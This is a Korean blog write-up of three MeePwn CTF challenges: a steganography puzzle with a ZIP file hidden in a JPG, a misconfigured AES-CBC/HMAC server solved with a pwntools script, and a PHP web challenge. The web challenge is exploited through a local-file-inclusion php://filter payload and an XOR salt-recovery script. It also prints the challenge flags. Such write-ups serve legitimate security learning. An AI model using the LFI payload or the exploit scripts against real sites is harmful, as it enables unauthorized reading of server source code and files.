지난 주말에 MeePwn CTF가 있었다. 다른 일이 있어 풀타임으로 참여하진 못했는데, 그래도 쉬운 몇 문제를 풀어 Write-up을 작성 해 보았다.

[MISC] WHITE SNOW, BLACK SHADOW

첫 번째로 풀어본 문제는 WHITE SNOW, BLACK SHADOW 문제이다. 문제 정보는 아래와 같다.

1
2
Finally we caught the image in criminal communication.
But Holmes, why are they crying?

문제 정보와 함께 첨부 파일을 다운받을 수 있다. 파일을 다운받아 압축을 풀면 evidence.jpg라는 사진 파일을 하나 얻을 수 있다.

사진에는 딱히 이상이 없어보여, Hex Editor를 사용 해 헥스 값을 확인 해 보았다. 파일의 첫 부분은 정상적인 JPG 파일의 헤더가 있었다.

그런데 맨 마지막 부분에서 아래와 같이 message.pdf라는 문자열과 PK가 있는 것을 찾을 수 있었다.

PK라는 파일 헤더를 어딘가에서 본 기억이 나 인터넷에 검색을 해 보았더니 ZIP 파일의 헤더라는 것을 알 수 있었다.

사진과 같이, ZIP 파일의 헤더는 50 4b 03 04로 시작하게 된다. 사진 파일에서 ZIP 파일을 추출하기 위해, 50 4b 03 04를 찾아 보았다. 그런데 찾아보니 50 4b 05 06은 있었지만 50 4b 03 04는 찾을 수 없었다.

아마도 파일 헤더를 살짝 수정해 둔 것 같았다. 그래서 evidence.jpg 파일에서 50 4b 05 0650 4b 03 04로 패치해 준 뒤, WinHex 라는 툴을 이용 해 파일을 추출 해 보았다.

그 결과 다음과 같이 압축 파일을 추출할 수 있었고, 압축 파일 안에는 message.pdf 파일이 있었다. message.pdf의 내용은 다음과 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
“When you have eliminated the impossible, whatever remains, however improbable, must be the truth.”

– Sir Arthur Conan Doyle

What does that mean?
To me, this is all about logic. If you start with everything you can think of, and then eliminate those that are impossible, you are well on your way to a solution. That’s the first stage of solving any mystery, whether it’s a murder mystery in a book (or TV, or movie, or…) or somethingMeeyou expected to work, but didn’t. You have to eliminate all the things that it couldn’t possibly be, or you will have too many distractions. 

Once we clear out all the distractions, we can focus on what remains. Sometimes what is left is easy to believe, other times it can seem highly improbable. However, with the impossible eliminated, whatPwnremains are the only possible solutions. And oneCTFof them must be the truth.

Why is clearing out the impossible solutions important?
Sometimes, it can be hard to solve a{T3challenging situation even under the best of circumstances. A problem with lotsxt_of shiny things to look at can be distracting, and waste a great deal of our time.
While some impossibilities might be obvious, sometimesUndwe can be sucked in by an idea that3r_intrigues us, despite being impossible. Other times, it is only in close examination that the impossibility is revealed.

However, once we clear the clutter by removing all that is impossible, we are left with an easier solution. Gone are the impossibilities, botht3Xobvious and subtle. What is left can be gone over more quickly, and evaluated for probability or even likelihood.

This may be an iterative process, starting with the really obvious impossibilities, and then moving to the shiny distractions. Finally, as wet!!!!}work our way through the last of the options, we may still find ourselves weeding out additional impossibilities.

처음엔 딱히 이상한 점을 못느꼈는데, 자세히 읽어보니 띄어쓰기가 있어야 하는 부분에 문자열이 조금씩 들어있는 것을 발견할 수 있었다.

ex) or somethingMeeyou expected to work,

문장을 하나하나 읽어보며 띄어쓰기가 있어야 하는 자리에 들어 있는 문자열을 잘라 이어보면 flag를 완성할 수 있다.

1
FLAG : MeePwnCTF{T3xt_Und3r_t3Xt!!!!}

[CRYPTO] ESOR

문제 정보는 다음과 같다.

1
2
Howdy, howdy...
nc 206.189.92.209 12345

또한 함께 아래와 같은 파이썬 코드를 준다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/python2

from Crypto.Cipher import AES
import hmac, hashlib
import os
import sys

menu = """Choose one:
1. encrypt data
2. decrypt data
3. quit
"""

class Unbuffered(object):
    def __init__(self, stream):
        self.stream = stream
    def write(self, data):
        self.stream.write(data)
        self.stream.flush()
    def __getattr__(self, attr):
        return getattr(self.stream, attr)

sys.stdout = Unbuffered(sys.stdout)
sys.stderr = None

encrypt_key = '\xff' * 32
secret = 'MeePwnCTF{#flag_here#}'
hmac_secret = ''
blocksize = 16
hmac_size = 20

def pad(msg):
	padlen = blocksize - (len(msg) % blocksize) - 1
	return os.urandom(padlen) + chr(padlen)

def unpad(msg):
	return msg[:-(ord(msg[-1]) + 1)]

def compute_hmac(msg):
	return hmac.new(hmac_secret, msg, digestmod=hashlib.sha1).digest()

def encrypt(prefix='', suffix=''):
	_enc = prefix + secret + suffix
	_enc+= compute_hmac(_enc)
	_enc+= pad(_enc)
	iv = os.urandom(16)
	_aes = AES.new(encrypt_key, AES.MODE_CBC, iv)
	return (iv + _aes.encrypt(_enc)).encode('hex')

def decrypt(data):
	data = data.decode('hex')
	try:
		iv = data[:blocksize]
		_aes = AES.new(encrypt_key, AES.MODE_CBC, iv)
		data = _aes.decrypt(data[blocksize:])
		data = unpad(data)
		plaintext = data[:-hmac_size]
		mac = data[-hmac_size:]
		if mac == compute_hmac(plaintext): return True
		else: return False
	except: return False

print """Welcome to our super secure enc/dec server. 
We use hmac, so, plz don't hack us (and you can't). Thanks."""

while True:
	choice = int(raw_input(menu))
	if choice == 1:
		_pre = raw_input('prefix: ')
		_suf = raw_input('suffix: ')
		print encrypt(prefix=_pre, suffix=_suf)
	elif choice == 2:
		_data = raw_input('data: ')
		if decrypt(_data):
			print 'OK'
		else:
			print 'KO'
	elif choice == 3:
		sys.exit(0)
	else:
		choice = int(raw_input(menu))

서버에 실제로 저장되어 있는 secret의 값을 찾아야 하는 문제이다. nc를 통해 문제에 접속하면 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ nc 206.189.92.209 12345
Welcome to our super secure enc/dec server. 
We use hmac, so, plz don't hack us (and you can't). Thanks.
Choose one:
1. encrypt data
2. decrypt data
3. quit
1
prefix: aaa
suffix: bbb
d9d860ba5708b4758a95b84b99459683dde5d09d8a137f2d436cf6b42d3519b3eb5642f9802c5957c867f0d83505462aa9f5d6024238c8618cff0832a15913446e0ff402ffb874968b2ce4b960e37517b557f32570ead1b3cd8e8ff6bf1a907b
Choose one:
1. encrypt data
2. decrypt data
3. quit
2
data: d9d860ba5708b4758a95b84b99459683dde5d09d8a137f2d436cf6b42d3519b3eb5642f9802c5957c867f0d83505462aa9f5d6024238c8618cff0832a15913446e0ff402ffb874968b2ce4b960e37517b557f32570ead1b3cd8e8ff6bf1a907b
OK
Choose one:
1. encrypt data
2. decrypt data
3. quit

encrypt data, decrypt data, quit 3 개의 메뉴가 있고, encrypt data를 선택 할 경우 prefixsuffix를 입력 해 주어야 한다. 또한 decrypt data를 선택 할 경우에는 복호화 할 데이터를 입력받고 복호화 성공 시 OK를, 복호화를 실패 할 경우에는 KO를 출력 해 준다. 소스코드를 확인 해 보면 decrypt 함수를 제공 해 주었으며, encrypt_key0xff * 32로 되어 있다. 그래서 혹시나 해서 다음과 같이 제공해 준 decrypt 함수를 바탕으로 exploit 코드를 짠 후 돌려 보았다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/python2

from Crypto.Cipher import AES
import hmac, hashlib
import os
import sys
from pwn import *

class Unbuffered(object):
    def __init__(self, stream):
        self.stream = stream
    def write(self, data):
        self.stream.write(data)
        self.stream.flush()
    def __getattr__(self, attr):
        return getattr(self.stream, attr)

sys.stdout = Unbuffered(sys.stdout)
sys.stderr = None

encrypt_key = '\xff' * 32
hmac_secret = ''
blocksize = 16
hmac_size = 20

def unpad(msg):
	return msg[:-(ord(msg[-1]) + 1)]

def compute_hmac(msg):
	return hmac.new(hmac_secret, msg, digestmod=hashlib.sha1).digest()

def decrypt(data):
	data = data.decode('hex')
	try:
		iv = data[:blocksize]
		_aes = AES.new(encrypt_key, AES.MODE_CBC, iv)
		data = _aes.decrypt(data[blocksize:])
		data = unpad(data)
		plaintext = data[:-hmac_size]
		mac = data[-hmac_size:]
		if mac == compute_hmac(plaintext):
			print plaintext
			return True
		else: return False
	except: return False

print "[+] ESOR exploit start"

s = remote("206.189.92.209", 12345)

print "[+] Connect OK with ESOR" 

s.recvuntil("3. quit")

s.sendline("1")

s.recvuntil("prefix: ")
s.sendline("aaa")
s.recvuntil("suffix: ")
s.sendline("bbb")

recv_data = s.recvuntil("3. quit")

data = recv_data.split("Choose one:")[0][:192]

print data

print "[+] Check Encrypted data OK"

decrypt(data)

nc로 접속한 후, 암호화 된 데이터를 받아 제공해 준 decrypt 함수를 사용 해 복호화 한 후 print plaintext만 추가 해 주었다. 그 결과 앞 뒤로 내가 입력 한 prefixsuffix가 있는 flag를 얻을 수 있었다.

1
FLAG : MeePwnCTF{pooDL3-this-is-la-vie-en-rose-P00dle!}

아무래도 이 문제는 출제자가 잘못 낸 문제같다. flag의 내용으로 추측하건데, 아마도 POODLE 공격을 해야하는 문제가 아니었나 싶다. 그런데, 오늘 다시 코드를 돌려보니 이제는 문제가 풀리지 않았다. 대회 도중 출제자가 잘못된 것을 깨닫고 문제를 수정한 것 같다. IRC는 모르겠지만 홈페이지에는 공지가 없었다… 잠수함 패치 잼…


[CRYPTO] EZCHALLZ

문제 정보는 아래와 같다.

1
http://206.189.92.209/ezchallz/

홈페이지에 접속 해 보면 아래와 같은 화면만 있다.

HomepageFree register, 딱 두개의 메뉴만 있을 뿐이었다. Homepage를 누르면 위와 동일한 화면이 나타난다. Free register를 누를 경우에는 아래와 같이 값을 입력할 수 있으며, Register 버튼을 누르면 가짜 flag를 출력 해 준다.

소스코드를 봐도 딱히 눈에 띄는것이 없어 URL을 살펴 보았다. 각각 버튼을 누를 경우 이동하는 URL은 다음과 같다.

Homepage를 누를 경우 : http://206.189.92.209/ezchallz/index.php
Free register를 누를 경우 : http://206.189.92.209/ezchallz/index.php?page=register
값 입력 후 Register 버튼을 누를 경우 : http://206.189.92.209/ezchallz/users/b8240bb93fb5c4321196ff675b7f98eb/flag.php

쿼리 스트링에서 page를 인자로 받아 페이지를 이동한다는 것을 알 수 있었다. 그런데 이 경우 LFI 공격에 취약할 수 있다. page의 값에 다음과 같이 입력한다면, 해당 파일의 내용을 읽을 수 있다.

1
?page=php://filter/convert.base64-encode/resource=index

그 결과 아래와 같이 base64로 인코딩 된 소스코드를 얻을 수 있었다.

indexregister 페이지의 소스코드를 얻어 base64로 디코딩 하면 아래와 같다.

  • index.php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<html>
<a href="index.php">Homepage</a>
<a href="?page=register">Free register</a></li>

<?php
if(isset($_GET["page"]) && !empty($_GET["page"])) {
    $page = $_GET["page"];
    if(strpos(strtolower($page), 'secret') !== false) {
        die('No no no!');
    }
//    else if(strpos($page, 'php') !== false) {
 //       die("N0 n0 n0!");
//    }
    else {
        include($page . '.php');
    }
}
?>
</html>
  • register.php
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<html>
<?php
error_reporting(0);

function gendirandshowflag($username) {
	include('secret.php');
	$dname = "";
	$intro = "";
	$_username = md5($username, $raw_output = TRUE);
	for($i = 0; $i<strlen($salt); $i++) {
		$dname.= chr(ord($salt[$i]) ^ ord($_username[$i]));
	};
	$dname = "users/" . bin2hex($dname);
	echo 'You have successfully register as ' . $username . '!\n';
	if ($_username === hex2bin('21232f297a57a5a743894a0e4a801fc3')) {
		$intro = "Here is your flag:" . $flag;
	}
	else {
		$intro = "Here is your flag, but I'm not sure 🤔: \nMeePwnCTF{" . md5(random_bytes(16) . $username) . "}";
	}
	mkdir($dname);
	file_put_contents($dname . '/flag.php', $intro);
	header("Location: ". $dname . "/flag.php");
}

if (isset($_POST['username'])) {
	if ($_POST['username'] === 'admin') {
		die('Username is not allowed!');
	}
	else {
		gendirandshowflag($_POST['username']);
	}
}
?>

        <form action="?page=register" method="POST">
        <input type="text" name="username"><br>
        <input type="submit" value="Register">
        </form>
</html>

소스코드를 분석해 본 결과, username의 md5 해쉬 값이 21232f297a57a5a743894a0e4a801fc3라면 진짜 flag를 $dname/flag.php에 저장하는 것을 알 수 있었다. 즉, md5 해쉬 값이 21232f297a57a5a743894a0e4a801fc3인 username을 찾아 해당 username$dname을 구해 $dname/flag.php에 들어가면 flag를 얻을 수 있다. $dname을 만드는 코드는 다음과 같다.

1
2
3
for($i = 0; $i<strlen($salt); $i++) {
	$dname.= chr(ord($salt[$i]) ^ ord($_username[$i]));
};

따라서 $dname을 만들기 위해서는 $salt의 값과 $_username의 값을 알아야 한다. 인터넷의 해쉬 값을 크랙해 주는 사이트에서 21232f297a57a5a743894a0e4a801fc3의 평문은 admin이라는 것을 알아내어, $_usernameadmin이라는 것을 알 수 있었다.

문제는 $salt 값인데, 변수를 새로 선언도 안한 것으로 보아 $salt의 값은 secret.php에 있는 것 같다. 하지만 index.php에서 secret라는 문자에 대한 필터링을 걸어 두었으므로, secret.php의 소스코드는 알아낼 수 없다. 그렇지만 $dname을 만들 때 XOR 연산을 사용하며, 홈페이지에서 내가 입력한 값을 바탕으로 만들어 지는 $dname의 값을 확인할 수 있다.

따라서 이를 역 연산하면 $salt의 값을 알아낼 수 있다. $salt의 값을 구하고, admin$dname을 구하기 위해 아래와 같이 소스코드를 구현 했다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
	$_username = md5("test", $raw_output = TRUE);

	$_dname = hex2bin("b8240bb93fb5c4321196ff675b7f98eb");

	$salt = "";

	for($i; $i < strlen($_username); $i ++) {
		$salt .= chr(ord($_dname[$i]) ^ ord($_username[$i]));
	}

	$_username = md5("admin", $raw_output = TRUE);
	$dname = "";

	for($i = 0; $i < strlen($_username); $i ++) {
		$dname.= chr(ord($salt[$i]) ^ ord($_username[$i]));
    }
	echo bin2hex($dname);
?>

그 결과 90884f5d03c3b2e698c1fbea37d833de라는 $dname 값을 구할 수 있었다. 90884f5d03c3b2e698c1fbea37d833de/flag.php로 접속 해 주석을 확인 해보면 flag를 얻을 수 있다.

1
FLAG : MeePwnCTF{just-a-warmup-challenge-are-you-ready-for-hacking-others-challz?}